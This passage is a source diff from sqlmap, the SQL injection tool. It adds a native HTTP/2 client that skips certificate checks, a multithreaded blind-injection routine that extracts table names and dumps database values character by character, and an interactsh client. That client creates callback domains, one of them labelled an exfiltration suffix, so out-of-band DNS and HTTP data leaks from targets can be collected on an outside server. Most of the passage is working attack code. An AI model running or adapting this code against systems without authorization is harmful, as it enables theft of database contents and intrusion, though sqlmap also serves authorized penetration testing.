||||
elif byte & 0x40: # 6.2.1 literal + incremental indexing
|
||||
index, pos = decode_integer(data, pos, 6)
|
||||
if index:
|
||||
name = self._get(index)[0]
|
||||
else:
|
||||
name, pos = decode_string(data, pos)
|
||||
value, pos = decode_string(data, pos)
|
||||
self._add(name, value)
|
||||
headers.append((name, value))
|
||||
elif byte & 0x20: # 6.3 dynamic table size update
|
||||
new_size, pos = decode_integer(data, pos, 5)
|
||||
self.max_size = new_size
|
||||
self._evict()
|
||||
else: # 6.2.2 without / 6.2.3 never indexed (4-bit prefix)
|
||||
index, pos = decode_integer(data, pos, 4)
|
||||
if index:
|
||||
name = self._get(index)[0]
|
||||
else:
|
||||
name, pos = decode_string(data, pos)
|
||||
value, pos = decode_string(data, pos)
|
||||
headers.append((name, value))
|
||||
return headers
|
||||
|
||||
class Encoder(object):
|
||||
# Minimal, always-valid: emit each header as a literal WITHOUT indexing + Huffman-coded strings.
|
||||
# (Correctness-critical decoding is the hard part; a server accepts this trivially.)
|
||||
def encode(self, headers):
|
||||
out = bytearray()
|
||||
for name, value in headers:
|
||||
out += encode_integer(0, 4, 0x00) # 0000 0000 : literal w/o indexing, new name
|
||||
out += encode_string(name)
|
||||
out += encode_string(value)
|
||||
return bytes(out)
|
||||
|
||||
SETTINGS_INITIAL_WINDOW_SIZE = 0x4
|
||||
BIG_WINDOW = (1 << 31) - 1
|
||||
|
||||
def _recv_exact(sock, n):
|
||||
buf = b""
|
||||
while len(buf) < n:
|
||||
chunk = sock.recv(n - len(buf))
|
||||
if not chunk:
|
||||
raise IOError("connection closed by peer")
|
||||
buf += chunk
|
||||
return buf
|
||||
|
||||
def _read_frame(sock):
|
||||
length, ftype, flags, sid = decode_frame_header(_recv_exact(sock, 9))
|
||||
return ftype, flags, sid, (_recv_exact(sock, length) if length else b"")
|
||||
|
||||
def _tob(x):
|
||||
return x if isinstance(x, bytes) else x.encode("latin-1")
|
||||
|
||||
def _connect_socket(host, port, proxy, timeout):
|
||||
# Direct TCP, or an HTTP CONNECT tunnel through an (optionally authenticated) proxy. SOCKS proxies
|
||||
# are excluded for HTTP/2 upstream, so any proxy reaching here is a plain HTTP one. proxy is a
|
||||
# (proxy_host, proxy_port, "user:pass"-or-None) tuple.
|
||||
if not proxy:
|
||||
return socket.create_connection((host, port), timeout=timeout)
|
||||
|
||||
proxy_host, proxy_port, proxy_cred = proxy
|
||||
raw = socket.create_connection((proxy_host, proxy_port), timeout=timeout)
|
||||
try:
|
||||
request = "CONNECT %s:%d HTTP/1.1\r\nHost: %s:%d\r\n" % (host, port, host, port)
|
||||
if proxy_cred:
|
||||
token = base64.b64encode(proxy_cred.encode("latin-1")).decode("ascii")
|
||||
request += "Proxy-Authorization: Basic %s\r\n" % token
|
||||
request += "\r\n"
|
||||
raw.sendall(request.encode("latin-1"))
|
||||
|
||||
response = b""
|
||||
while b"\r\n\r\n" not in response:
|
||||
chunk = raw.recv(4096)
|
||||
if not chunk:
|
||||
raise IOError("proxy closed the connection during CONNECT")
|
||||
response += chunk
|
||||
if len(response) > 65536:
|
||||
raise IOError("oversized proxy CONNECT response")
|
||||
|
||||
status_line = response.split(b"\r\n", 1)[0].decode("latin-1", "replace")
|
||||
fields = status_line.split(None, 2)
|
||||
code = int(fields[1]) if len(fields) >= 2 and fields[1].isdigit() else 0
|
||||
if not (200 <= code < 300):
|
||||
raise IOError("proxy CONNECT failed: %s" % status_line)
|
||||
return raw
|
||||
except Exception:
|
||||
try:
|
||||
raw.close()
|
||||
except Exception:
|
||||
pass
|
||||
raise
|
||||
|
||||
class _UnprocessedStream(IOError):
|
||||
"""Raised when the server made it clear our stream was NOT processed (GOAWAY with last-stream-id below
|
||||
ours), so the request is always safe to retry on a fresh connection."""
|
||||
|
||||
class _H2Connection(object):
|
||||
"""A single HTTP/2 connection reused for sequential (one-stream-at-a-time) requests within a thread.
|
||||
|
||||
Multiplexing is intentionally NOT used - one stream is fully consumed before the next is opened - which
|
||||
preserves request<->response isolation (clean time-based latency, no desync), exactly like the
|
||||
thread-local HTTP/1.1 keep-alive pool. Reuse amortizes the TCP+TLS+preface cost across all of a thread's
|
||||
requests to a host. Correctness note: only the HPACK Decoder (server->client dynamic table) is stateful,
|
||||
so it is kept per-connection and fed responses in order; the Encoder is literal-without-indexing
|
||||
(stateless), hence a fresh one per request is safe on a reused socket."""
|
||||
|
||||
def __init__(self, host, port, proxy, timeout):
|
||||
self.host, self.port, self.proxy = host, port, proxy
|
||||
self.dec = Decoder() # persistent server->client HPACK table
|
||||
self.next_sid = 1 # odd, strictly increasing per RFC 7540
|
||||
self.usable = True
|
||||
ctx = ssl._create_unverified_context()
|
||||
ctx.set_alpn_protocols(["h2"])
|
||||
self.sock = ctx.wrap_socket(_connect_socket(host, port, proxy, timeout), server_hostname=host)
|
||||
try:
|
||||
if self.sock.selected_alpn_protocol() != "h2":
|
||||
raise IOError("server did not negotiate h2 (ALPN=%r)" % self.sock.selected_alpn_protocol())
|
||||
self.sock.settimeout(timeout)
|
||||
# connection preface + client SETTINGS (advertise a large per-stream window) + bump conn window
|
||||
self.sock.sendall(CONNECTION_PREFACE)
|
||||
self.sock.sendall(encode_frame(SETTINGS, 0, 0, struct.pack("!HI", SETTINGS_INITIAL_WINDOW_SIZE, BIG_WINDOW)))
|
||||
self.sock.sendall(encode_frame(WINDOW_UPDATE, 0, 0, struct.pack("!I", BIG_WINDOW - 65535)))
|
||||
except Exception:
|
||||
self.close()
|
||||
raise
|
||||
|
||||
def close(self):
|
||||
self.usable = False
|
||||
try:
|
||||
self.sock.close()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def __del__(self):
|
||||
self.close()
|
||||
|
||||
def exchange(self, method, path, authority, headers, body, timeout):
|
||||
if not self.usable:
|
||||
raise IOError("HTTP/2 connection no longer usable")
|
||||
|
||||
sid = self.next_sid
|
||||
self.next_sid += 2
|
||||
if self.next_sid >= BIG_WINDOW: # stream-id space nearly exhausted -> retire after this
|
||||
self.usable = False
|
||||
self.sock.settimeout(timeout)
|
||||
|
||||
req = [(b":method", _tob(method)), (b":scheme", b"https"), (b":path", _tob(path)), (b":authority", _tob(authority))]
|
||||
for k, v in (headers or {}).items():
|
||||
req.append((_tob(k).lower(), _tob(v)))
|
||||
hblock = Encoder().encode(req)
|
||||
self.sock.sendall(encode_frame(HEADERS, FLAG_END_HEADERS | (0 if body else FLAG_END_STREAM), sid, hblock))
|
||||
if body:
|
||||
self.sock.sendall(encode_frame(DATA, FLAG_END_STREAM, sid, _tob(body)))
|
||||
|
||||
header_block, resp_headers, resp_body, done = b"", None, bytearray(), False
|
||||
while not done:
|
||||
ftype, flags, fsid, payload = _read_frame(self.sock)
|
||||
if ftype == SETTINGS:
|
||||
if not (flags & FLAG_ACK):
|
||||
self.sock.sendall(encode_frame(SETTINGS, FLAG_ACK, 0, b""))
|
||||
elif ftype == PING:
|
||||
if not (flags & FLAG_ACK):
|
||||
self.sock.sendall(encode_frame(PING, FLAG_ACK, 0, payload))
|
||||
elif ftype == GOAWAY:
|
||||
self.usable = False # server won't accept new streams -> retire connection
|
||||
last_sid = (struct.unpack("!I", payload[4:8])[0] & 0x7fffffff) if len(payload) >= 8 else 0
|
||||
if sid > last_sid: # our stream was not processed -> safe to retry fresh
|
||||
raise _UnprocessedStream("GOAWAY (last stream %d) before stream %d was processed" % (last_sid, sid))
|
||||
elif ftype == RST_STREAM and fsid == sid:
|
||||
self.usable = False
|
||||
raise IOError("stream reset by server (error %d)" % struct.unpack("!I", payload[:4])[0])
|
||||
elif ftype in (HEADERS, CONTINUATION) and fsid == sid:
|
||||
p = payload
|
||||
if ftype == HEADERS:
|
||||
if flags & FLAG_PADDED:
|
||||
p = p[1:len(p) - bytearray(payload)[0]]
|
||||
if flags & FLAG_PRIORITY:
|
||||
p = p[5:]
|
||||
header_block += p
|
||||
if flags & FLAG_END_HEADERS:
|
||||
resp_headers = self.dec.decode(header_block)
|
||||
if flags & FLAG_END_STREAM:
|
||||
done = True
|
||||
elif ftype == DATA and fsid == sid:
|
||||
p = payload
|
||||
if flags & FLAG_PADDED:
|
||||
p = p[1:len(p) - bytearray(payload)[0]]
|
||||
resp_body += p
|
||||
if payload: # replenish stream + connection windows
|
||||
self.sock.sendall(encode_frame(WINDOW_UPDATE, 0, sid, struct.pack("!I", len(payload))))
|
||||
self.sock.sendall(encode_frame(WINDOW_UPDATE, 0, 0, struct.pack("!I", len(payload))))
|
||||
if flags & FLAG_END_STREAM:
|
||||
done = True
|
||||
status = None
|
||||
for n, v in (resp_headers or []):
|
||||
if _tob(n) == b":status":
|
||||
status = int(v)
|
||||
break
|
||||
return status, resp_headers, bytes(resp_body)
|
||||
|
||||
# Thread-local pool: one live connection per (host, port, proxy) per thread. Mirrors keepalive.py's model
|
||||
# (one connection per host per thread) so streams never interleave across threads and time-based
|
||||
# measurements stay clean.
|
||||
_h2_pool = threading.local()
|
||||
|
||||
def _pooledExchange(host, port, proxy, method, path, authority, headers, body, timeout):
|
||||
pool = getattr(_h2_pool, "connections", None)
|
||||
if pool is None:
|
||||
pool = _h2_pool.connections = {}
|
||||
key = (host, port, proxy)
|
||||
|
||||
conn = pool.get(key)
|
||||
reused = conn is not None and conn.usable
|
||||
if not reused:
|
||||
if conn is not None:
|
||||
conn.close()
|
||||
conn = pool[key] = _H2Connection(host, port, proxy, timeout)
|
||||
|
||||
try:
|
||||
result = conn.exchange(method, path, authority, headers, body, timeout)
|
||||
except _UnprocessedStream: # explicitly not processed -> always safe to retry fresh
|
||||
conn.close(); pool.pop(key, None)
|
||||
conn = pool[key] = _H2Connection(host, port, proxy, timeout)
|
||||
result = conn.exchange(method, path, authority, headers, body, timeout)
|
||||
except (socket.error, ssl.SSLError, IOError):
|
||||
conn.close(); pool.pop(key, None)
|
||||
if reused: # stale keep-alive socket (server closed idle conn) -> reopen once
|
||||
conn = pool[key] = _H2Connection(host, port, proxy, timeout)
|
||||
result = conn.exchange(method, path, authority, headers, body, timeout)
|
||||
else:
|
||||
raise
|
||||
if not conn.usable: # GOAWAY / id-exhaustion mid-exchange -> don't keep it pooled
|
||||
conn.close(); pool.pop(key, None)
|
||||
return result
|
||||
|
||||
def h2_request(host, port=443, method="GET", path="/", authority=None, headers=None, body=None, timeout=30, proxy=None):
|
||||
"""One-shot request on a throwaway connection (kept for direct/back-compat callers; the engine path
|
||||
goes through open_url -> the reusing pool)."""
|
||||
conn = _H2Connection(host, port, proxy, timeout)
|
||||
try:
|
||||
return conn.exchange(method, path, authority or host, headers, body, timeout)
|
||||
finally:
|
||||
conn.close()
|
||||
|
||||
|
||||
class H2Response(object):
|
||||
"""A urllib-response-compatible wrapper around a native HTTP/2 response, so the rest of sqlmap's
|
||||
request pipeline can consume it exactly like a urllib response (code/msg/info()/read()/geturl()).
|
||||
|
||||
>>> r = H2Response('https://x/', 200, [(b':status', b'200'), (b'content-type', b'text/html')], b'body')
|
||||
>>> (r.code, r.msg, r.read() == b'body', r.geturl())
|
||||
(200, 'OK', True, 'https://x/')
|
||||
>>> ':status' in r.info()
|
||||
False
|
||||
"""
|
||||
|
||||
def __init__(self, url, status, headers, body):
|
||||
self.url = url
|
||||
self.code = self.status = status
|
||||
self.msg = _HTTP_RESPONSES.get(status, "")
|
||||
self.http_version = "HTTP/2.0"
|
||||
self._body = body
|
||||
self._offset = 0
|
||||
self._info = _Message()
|
||||
for name, value in (headers or []):
|
||||
name = name.decode("latin-1") if isinstance(name, bytes) else name
|
||||
value = value.decode("latin-1") if isinstance(value, bytes) else value
|
||||
if not name.startswith(":"): # drop HTTP/2 pseudo-headers (:status etc.)
|
||||
self._info[name] = value
|
||||
# expose a mimetools.Message-style '.headers' list so patchHeaders() treats this object
|
||||
# uniformly across Python 2/3 (email.message.Message lacks it, and Python 2 iteration over a
|
||||
# bare Message falls back to integer indexing)
|
||||
self._info.headers = ["%s: %s\r\n" % (name, value) for (name, value) in self._info.items()]
|
||||
|
||||
def info(self):
|
||||
return self._info
|
||||
|
||||
def geturl(self):
|
||||
return self.url
|
||||
|
||||
def read(self, amt=None):
|
||||
if amt is None:
|
||||
data = self._body[self._offset:]
|
||||
self._offset = len(self._body)
|
||||
else:
|
||||
data = self._body[self._offset:self._offset + amt]
|
||||
self._offset += len(data)
|
||||
return data
|
||||
|
||||
def close(self):
|
||||
pass
|
||||
|
||||
|
||||
def open_url(url, method="GET", headers=None, body=None, timeout=30, follow_redirects=True, max_redirects=10, proxy=None):
|
||||
"""Fetch url over native HTTP/2 (https only), following redirects like a browser (mirroring the
|
||||
previous httpx follow_redirects=True), and return an H2Response. Raises IOError on a transport or
|
||||
ALPN-negotiation failure. Connection-level and h2-forbidden request headers are stripped."""
|
||||
forbidden = ("host", "connection", "keep-alive", "proxy-connection", "transfer-encoding", "upgrade", "content-length")
|
||||
req_headers = {}
|
||||
for key in (headers or {}):
|
||||
name = key.decode("latin-1") if isinstance(key, bytes) else key
|
||||
if name.lower() not in forbidden:
|
||||
req_headers[key] = headers[key]
|
||||
|
||||
for _ in range(max_redirects + 1):
|
||||
parts = urlsplit(url)
|
||||
if parts.scheme != "https":
|
||||
raise IOError("native HTTP/2 client supports 'https://' targets only (got %r)" % parts.scheme)
|
||||
path = parts.path or "/"
|
||||
if parts.query:
|
||||
path += "?" + parts.query
|
||||
status, resp_headers, resp_body = _pooledExchange(parts.hostname, parts.port or 443, proxy, method, path,
|
||||
parts.netloc.split("@")[-1], req_headers, body, timeout)
|
||||
if follow_redirects and status in REDIRECT_CODES:
|
||||
location = None
|
||||
for name, value in (resp_headers or []):
|
||||
if (name.decode("latin-1") if isinstance(name, bytes) else name).lower() == "location":
|
||||
location = value.decode("latin-1") if isinstance(value, bytes) else value
|
||||
break
|
||||
if location:
|
||||
url = urljoin(url, location)
|
||||
if status in (301, 302, 303): # per RFC 7231, these degrade to GET
|
||||
method, body = "GET", None
|
||||
continue
|
||||
return H2Response(url, status, resp_headers, resp_body)
|
||||
|
||||
raise IOError("too many HTTP/2 redirects")
|
||||
|
|
@ -13,6 +13,10 @@ import time
|
|||
from lib.core.agent import agent
|
||||
from lib.core.bigarray import BigArray
|
||||
from lib.core.common import applyFunctionRecursively
|
||||
from lib.core.common import dataToStdout
|
||||
from lib.core.common import unArrayizeValue
|
||||
from lib.core.datatype import AttribDict
|
||||
from lib.utils.safe2bin import safecharencode
|
||||
from lib.core.common import Backend
|
||||
from lib.core.common import calculateDeltaSeconds
|
||||
from lib.core.common import cleanQuery
|
||||
|
|
@ -22,6 +26,7 @@ from lib.core.common import filterNone
|
|||
from lib.core.common import getPublicTypeMembers
|
||||
from lib.core.common import getTechnique
|
||||
from lib.core.common import getTechniqueData
|
||||
from lib.core.common import incrementCounter
|
||||
from lib.core.common import hashDBRetrieve
|
||||
from lib.core.common import hashDBWrite
|
||||
from lib.core.common import initTechnique
|
||||
|
|
@ -58,10 +63,13 @@ from lib.core.settings import MAX_TECHNIQUES_PER_VALUE
|
|||
from lib.core.settings import SQL_SCALAR_REGEX
|
||||
from lib.core.settings import UNICODE_ENCODING
|
||||
from lib.core.threads import getCurrentThreadData
|
||||
from lib.core.threads import runThreads
|
||||
from lib.core.unescaper import unescaper
|
||||
from lib.request.connect import Connect as Request
|
||||
from lib.request.direct import direct
|
||||
from lib.techniques.blind.inference import bisection
|
||||
from lib.techniques.blind.inference import queryOutputLength
|
||||
from lib.techniques.blind.inference import valueMatchCondition
|
||||
from lib.techniques.dns.test import dnsTest
|
||||
from lib.techniques.dns.use import dnsUse
|
||||
from lib.techniques.error.use import errorUse
|
||||
|
|
@ -358,6 +366,159 @@ def _goUnion(expression, unpack=True, dump=False):
|
|||
|
||||
return output
|
||||
|
||||
def _verifyInferredValue(expression, value):
|
||||
"""
|
||||
Confirm a value-parallel-inferred name with ONE equality boolean (lock-free forged
|
||||
query, mirroring the predictive commonValue check). A wrong bisection bit under heavy
|
||||
concurrent load on a flaky/WAF'd target flips a character; a full-value equality catches
|
||||
it sharply (a corrupted name != the real one). Returns True when (expression) == value
|
||||
holds, or on a transient verify error (never discard a value on a hiccup).
|
||||
"""
|
||||
|
||||
if value is None or isNoneValue(value):
|
||||
return True
|
||||
|
||||
value = unArrayizeValue(value)
|
||||
if not isinstance(value, six.string_types):
|
||||
return True
|
||||
|
||||
if Backend.getDbms():
|
||||
_, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
|
||||
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
|
||||
expressionUnescaped = unescaper.escape(expression.replace(fieldToCastStr, nulledCastedField, 1))
|
||||
else:
|
||||
expressionUnescaped = unescaper.escape(expression)
|
||||
|
||||
matchCondition = valueMatchCondition(expressionUnescaped, value)
|
||||
if matchCondition is None: # non-ASCII value: no reliable whole-value equality (see valueMatchCondition)
|
||||
return None # caller confirms these by an independent re-extraction instead
|
||||
|
||||
query = getTechniqueData().vector.replace(INFERENCE_MARKER, matchCondition)
|
||||
query = agent.suffixQuery(agent.prefixQuery(query))
|
||||
|
||||
timeBasedCompare = getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)
|
||||
|
||||
try:
|
||||
result = bool(Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False))
|
||||
incrementCounter(getTechnique())
|
||||
return result
|
||||
except Exception:
|
||||
return True
|
||||
|
||||
def _threadedInferenceValues(exprBuilder, indices, context=None, charsetType=None, dump=False):
|
||||
"""
|
||||
Value-parallel blind retrieval.
|
||||
|
||||
Retrieve many independent values concurrently, ONE whole value per worker thread, each decoded
|
||||
sequentially via bisection with length=None - so there is NO per-value length probe (unlike the
|
||||
position-parallel path, which must probe LENGTH() to split a value's characters across threads) and
|
||||
the sequential prefix lets predictive inference / low-cardinality guessing / the per-column Huffman
|
||||
model work. This parallelizes across VALUES instead of character positions - the right axis for the
|
||||
MANY short values of table/column NAME enumeration (context="Tables"/"Columns" tags kb.partRun so
|
||||
predictValue() consults the wordlist) and, with dump=True, of per-column data dumping (Huffman and
|
||||
low-cardinality guessing engage). It bypasses getValue()'s @lockedmethod the same way union/error
|
||||
row-threading calls _oneShotUnionUse directly. `exprBuilder(index)` yields the per-value expression.
|
||||
Returns a list aligned with `indices` (None where a value could not be retrieved); single-thread is
|
||||
just sequential retrieval (no worse than the classic loop, and still without the length probe).
|
||||
"""
|
||||
|
||||
indices = list(indices)
|
||||
|
||||
# Snapshot the raw per-thread technique (may be None) so the finally can restore it verbatim -
|
||||
# getTechnique() would fall back to kb.technique, and a None result there used to skip the restore
|
||||
# entirely, leaking the BOOLEAN/TIME we set below onto the calling thread for every later caller.
|
||||
savedTechnique = getCurrentThreadData().technique
|
||||
|
||||
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN):
|
||||
setTechnique(PAYLOAD.TECHNIQUE.BOOLEAN)
|
||||
elif isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME):
|
||||
setTechnique(PAYLOAD.TECHNIQUE.TIME)
|
||||
else:
|
||||
return None
|
||||
|
||||
try:
|
||||
initTechnique(getTechnique())
|
||||
payload = agent.payload(newValue=agent.suffixQuery(agent.prefixQuery(getTechniqueData().vector)))
|
||||
except:
|
||||
setTechnique(savedTechnique) # these run before the runThreads try/finally below, so restore here too
|
||||
raise
|
||||
|
||||
results = [None] * len(indices)
|
||||
cursor = iter(xrange(len(indices)))
|
||||
|
||||
def inferenceThread():
|
||||
threadData = getCurrentThreadData()
|
||||
# Each per-value bisection streams its characters to stdout and mirrors them into
|
||||
# threadData.shared.value - which is a PROCESS-GLOBAL object. Left as-is, concurrent
|
||||
# workers interleave their character output (garbled console) and stomp each other's
|
||||
# partial value. So suppress the per-char streaming here and give each worker a private
|
||||
# shared-state object; a single clean line/counter is printed per completed value below.
|
||||
threadData.disableStdOut = True
|
||||
threadData.shared = AttribDict()
|
||||
|
||||
while kb.threadContinue:
|
||||
with kb.locks.limit:
|
||||
try:
|
||||
slot = next(cursor)
|
||||
except StopIteration:
|
||||
break
|
||||
|
||||
expression = exprBuilder(indices[slot])
|
||||
try:
|
||||
_, value = bisection(payload, expression, length=None, charsetType=charsetType, dump=dump)
|
||||
# Self-verify each value: sustained concurrent boolean load on a flaky/WAF'd target can flip
|
||||
# a bisection bit (raw retrieval has no per-char validation), so confirm the whole value and
|
||||
# re-extract on mismatch. ASCII values use ONE fast equality probe; a value carrying non-ASCII
|
||||
# (which a quoted literal may not round-trip, AND which is itself a common corruption symptom)
|
||||
# is instead confirmed by an INDEPENDENT re-extraction having to agree - a random flip will not
|
||||
# reproduce the same bytes twice. Bounded to a few tries; correctness over a marginal request.
|
||||
tries = 0
|
||||
while not isNoneValue(value) and not threadData.lowCardHit and tries < 3:
|
||||
verdict = _verifyInferredValue(expression, value)
|
||||
if verdict is True:
|
||||
break
|
||||
tries += 1
|
||||
_, other = bisection(payload, expression, length=None, charsetType=charsetType, dump=dump)
|
||||
if verdict is None and other == value: # two independent extractions agree -> trust it
|
||||
break
|
||||
value = other # equality said wrong, or the two disagree -> adopt fresh, recheck
|
||||
except Exception as ex:
|
||||
logger.debug("parallel retrieval worker failed at slot %d ('%s')" % (slot, ex))
|
||||
value = None
|
||||
|
||||
with kb.locks.value:
|
||||
results[slot] = value
|
||||
|
||||
# Stream each retrieved value as it completes (they arrive out of order under threads, exactly
|
||||
# like the error/union dumps), so a dump shows its data live rather than a silent counter.
|
||||
if conf.verbose >= 1 and not kb.bruteMode and not isNoneValue(value):
|
||||
with kb.locks.io:
|
||||
rendered = safecharencode(unArrayizeValue(value))
|
||||
dataToStdout("[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), "'%s'" % rendered if dump else rendered), forceOutput=True)
|
||||
|
||||
# Save/restore the calling thread's state: with a single thread runThreads runs the worker
|
||||
# INLINE on this thread, so the worker's disableStdOut/shared mutations must not leak out.
|
||||
savedPartRun = kb.partRun
|
||||
mainThreadData = getCurrentThreadData()
|
||||
savedStdOut, savedShared = mainThreadData.disableStdOut, mainThreadData.shared
|
||||
kb.partRun = context
|
||||
try:
|
||||
runThreads(min(conf.threads or 1, len(indices)) or 1, inferenceThread)
|
||||
finally:
|
||||
kb.partRun = savedPartRun
|
||||
mainThreadData.disableStdOut = savedStdOut
|
||||
mainThreadData.shared = savedShared
|
||||
setTechnique(savedTechnique)
|
||||
|
||||
# Robustness: any slot a worker could not retrieve (None, i.e. a transient per-cell failure) is
|
||||
# re-extracted serially via the classic getValue() path - full error handling, and a persistent error
|
||||
# surfaces there - rather than being silently returned as an empty value.
|
||||
for slot in xrange(len(results)):
|
||||
if results[slot] is None and kb.threadContinue:
|
||||
results[slot] = getValue(exprBuilder(indices[slot]), union=False, error=False, dump=dump, charsetType=charsetType)
|
||||
|
||||
return results
|
||||
|
||||
@lockedmethod
|
||||
@stackedmethod
|
||||
def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True):
|
||||
|
|
|
|||
175
lib/request/interactsh.py
Normal file
175
lib/request/interactsh.py
Normal file
|
|
@ -0,0 +1,175 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import base64
|
||||
import json
|
||||
import time
|
||||
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.convert import getBytes
|
||||
from lib.core.convert import getText
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import logger
|
||||
from lib.core.enums import HTTP_HEADER
|
||||
from lib.core.settings import OOB_CORRELATION_ID_LENGTH
|
||||
from lib.core.settings import OOB_INTERACTSH_SERVERS
|
||||
from lib.core.settings import OOB_NONCE_LENGTH
|
||||
|
||||
# The interactsh client needs RSA-OAEP(SHA-256) + AES-256-CTR. pycryptodome is an
|
||||
# optional dependency (sqlmap already uses it opportunistically in lib/utils/hash.py);
|
||||
# without it the OOB tier is simply skipped rather than erroring.
|
||||
try:
|
||||
from Crypto.Cipher import AES
|
||||
from Crypto.Cipher import PKCS1_OAEP
|
||||
from Crypto.Hash import SHA256
|
||||
from Crypto.PublicKey import RSA
|
||||
_HAS_CRYPTO = True
|
||||
except ImportError:
|
||||
_HAS_CRYPTO = False
|
||||
|
||||
|
||||
def hasCrypto():
|
||||
return _HAS_CRYPTO
|
||||
|
||||
|
||||
class Interactsh(object):
|
||||
"""Minimal interactsh client: registers a per-scan RSA key with a public (or
|
||||
self-hosted) interactsh server, hands out unique callback URLs, and polls for
|
||||
the DNS/HTTP interactions they trigger. Interactions are RSA/AES encrypted on
|
||||
the wire and decrypted locally, so the server operator never sees their content.
|
||||
All HTTP goes through sqlmap's own request stack (proxy/timeout honoured)."""
|
||||
|
||||
def __init__(self, server=None, token=None):
|
||||
self.server = None
|
||||
self.token = token or conf.get("oobToken")
|
||||
self.correlationId = randomStr(OOB_CORRELATION_ID_LENGTH, lowercase=True)
|
||||
self.secret = randomStr(32, lowercase=True)
|
||||
self.registered = False
|
||||
self._key = None
|
||||
self._dnsNonce = None
|
||||
|
||||
if not _HAS_CRYPTO:
|
||||
return
|
||||
|
||||
self._key = RSA.generate(2048)
|
||||
pubKey = getText(base64.b64encode(getBytes(self._key.publickey().export_key(format="PEM"))))
|
||||
candidates = [server] if server else list(OOB_INTERACTSH_SERVERS)
|
||||
|
||||
for candidate in candidates:
|
||||
if not candidate:
|
||||
continue
|
||||
body = json.dumps({"public-key": pubKey, "secret-key": self.secret, "correlation-id": self.correlationId})
|
||||
if self._request("https://%s/register" % candidate, post=body):
|
||||
self.server = candidate
|
||||
self.registered = True
|
||||
logger.debug("registered with OOB interaction server '%s'" % candidate)
|
||||
break
|
||||
|
||||
def _request(self, url, post=None):
|
||||
"""Direct request to the interactsh server (a fixed service, never the target).
|
||||
Self-contained on urllib so it works regardless of sqlmap's request-stack init
|
||||
order (it is also called during option setup, before getPage is usable); honours
|
||||
--proxy and tolerates self-signed certs like the rest of sqlmap. Returns the
|
||||
response body text on success, otherwise None."""
|
||||
try:
|
||||
import ssl
|
||||
try:
|
||||
from urllib.request import Request as _Request, build_opener, ProxyHandler, HTTPSHandler
|
||||
except ImportError:
|
||||
from urllib2 import Request as _Request, build_opener, ProxyHandler, HTTPSHandler
|
||||
|
||||
headers = {HTTP_HEADER.CONTENT_TYPE: "application/json"} if post is not None else {HTTP_HEADER.ACCEPT: "application/json"}
|
||||
if self.token:
|
||||
headers[HTTP_HEADER.AUTHORIZATION] = self.token
|
||||
|
||||
handlers = []
|
||||
try:
|
||||
# Verify TLS for the (public, valid-cert) interaction server by default;
|
||||
# only skip verification when the user has globally opted out (--force-ssl-verify
|
||||
# off / verifyCert False), matching sqlmap's own TLS posture.
|
||||
context = ssl.create_default_context()
|
||||
if conf.get("verifyCert") is False:
|
||||
context.check_hostname = False
|
||||
context.verify_mode = ssl.CERT_NONE
|
||||
handlers.append(HTTPSHandler(context=context))
|
||||
except Exception:
|
||||
pass
|
||||
if conf.get("proxy"):
|
||||
handlers.append(ProxyHandler({"http": conf.proxy, "https": conf.proxy}))
|
||||
|
||||
request = _Request(url, data=getBytes(post) if post is not None else None, headers=headers)
|
||||
response = build_opener(*handlers).open(request, timeout=conf.get("timeout") or 30)
|
||||
return getText(response.read())
|
||||
except Exception as ex:
|
||||
logger.debug("OOB request to '%s' failed: %s" % (url, getText(ex)))
|
||||
return None
|
||||
|
||||
def url(self):
|
||||
"""Return a fresh unique callback URL (host = correlationId + nonce)."""
|
||||
nonce = randomStr(OOB_NONCE_LENGTH, lowercase=True)
|
||||
return "http://%s%s.%s" % (self.correlationId, nonce, self.server)
|
||||
|
||||
def dnsDomain(self):
|
||||
"""Stable domain suffix (host = correlationId + a fixed nonce) usable as an
|
||||
exfiltration suffix - additional labels prepended by a payload still resolve
|
||||
to this correlation id, so every DNS lookup under it is captured."""
|
||||
if not self._dnsNonce:
|
||||
self._dnsNonce = randomStr(OOB_NONCE_LENGTH, lowercase=True)
|
||||
return "%s%s.%s" % (self.correlationId, self._dnsNonce, self.server)
|
||||
|
||||
def dnsNames(self):
|
||||
"""Poll and return the fully-qualified names (minus the server suffix) of the
|
||||
DNS lookups captured so far, e.g. 'prefix.<hex>.suffix.<correlationId><nonce>'."""
|
||||
return [_.get("full-id") for _ in self.poll() if _.get("protocol") == "dns" and _.get("full-id")]
|
||||
|
||||
def poll(self):
|
||||
"""Return the list of decrypted interaction records captured so far."""
|
||||
if not self.registered:
|
||||
return []
|
||||
|
||||
page = self._request("https://%s/poll?id=%s&secret=%s" % (self.server, self.correlationId, self.secret))
|
||||
if not page:
|
||||
return []
|
||||
|
||||
try:
|
||||
response = json.loads(page)
|
||||
except ValueError:
|
||||
return []
|
||||
|
||||
retVal = []
|
||||
data = response.get("data") or []
|
||||
if data:
|
||||
try:
|
||||
aesKey = PKCS1_OAEP.new(self._key, hashAlgo=SHA256).decrypt(base64.b64decode(response["aes_key"]))
|
||||
except Exception as ex:
|
||||
logger.debug("OOB AES key decryption failed: %s" % getText(ex))
|
||||
return []
|
||||
|
||||
for item in data:
|
||||
try:
|
||||
raw = base64.b64decode(item)
|
||||
plain = AES.new(aesKey, AES.MODE_CTR, nonce=b"", initial_value=raw[:AES.block_size]).decrypt(raw[AES.block_size:])
|
||||
retVal.append(json.loads(getText(plain)))
|
||||
except Exception as ex:
|
||||
logger.debug("OOB interaction decryption failed: %s" % getText(ex))
|
||||
|
||||
return retVal
|
||||
|
||||
def pollUntil(self, attempts, delay):
|
||||
"""Poll repeatedly, returning as soon as any interaction is captured."""
|
||||
